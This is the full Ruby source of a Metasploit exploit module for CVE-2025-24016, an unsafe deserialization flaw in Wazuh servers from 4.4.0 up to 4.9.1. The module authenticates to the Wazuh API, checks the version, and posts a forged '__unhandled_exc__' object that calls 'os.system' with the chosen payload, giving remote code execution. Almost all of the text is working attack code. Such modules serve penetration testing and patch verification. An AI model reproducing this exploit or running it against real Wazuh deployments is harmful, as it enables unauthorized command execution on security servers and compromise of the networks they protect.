1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147
|
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'Wazuh server remote code execution caused by an unsafe deserialization vulnerability.', 'Description' => %q{ Wazuh is a free and open source platform used for threat prevention, detection, and response. Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability allows for remote code execution on Wazuh servers. DistributedAPI parameters are a serialized as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`). If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code. The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, in certain configurations, even by a compromised agent. }, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', 'DanielFi https://github.com/DanielFi', ], 'References' => [ ['CVE', '2025-24016'], ['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh'], ['URL', 'https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016'] ], 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Privileged' => false, 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-02-10', 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 55000 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path to the wazuh manager', '/']), OptString.new('API_USER', [true, 'Wazuh API user', 'wazuh-wui']), OptString.new('API_PWD', [true, 'Wazuh API password', 'MyS3cr37P450r.*-']) ]) end
def get_api_token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'), 'headers' => { 'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD']) } }) return unless res&.code == 200 && res.body.include?('token')
res_json = res.get_json_document res_json['data']['token'] unless res_json.blank? end
def get_wazuh_version(api_token) api_auth = "Bearer #{api_token}" res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'headers' => { 'Authorization' => api_auth.to_s } }) return unless res&.code == 200 && res.body.include?('api_version')
res_json = res.get_json_document res_json['data']['api_version'] unless res_json.blank? end
def execute_command(cmd, _opts = {}) post_data = { __unhandled_exc__: { __class__: 'os.system', __args__: [ cmd.to_s ] } }.to_json
send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'), 'ctype' => 'application/json', 'headers' => { 'Authorization' => basic_auth(datastore['API_USER'], datastore['API_PWD']) }, 'data' => post_data.to_s }) end
def check api_token = get_api_token return CheckCode::Unknown('Can not access the Wazuh API with provided credentials.') if api_token.nil?
version = get_wazuh_version(api_token) return CheckCode::Detected('Can not determine the Wazuh version.') if version.nil?
version = Rex::Version.new(version) unless version >= Rex::Version.new('4.4.0') && version < Rex::Version.new('4.9.1') return CheckCode::Safe("Wazuh version #{version}") end
CheckCode::Appears("Wazuh version #{version}") end
def exploit print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") execute_command(payload.encoded) end end
|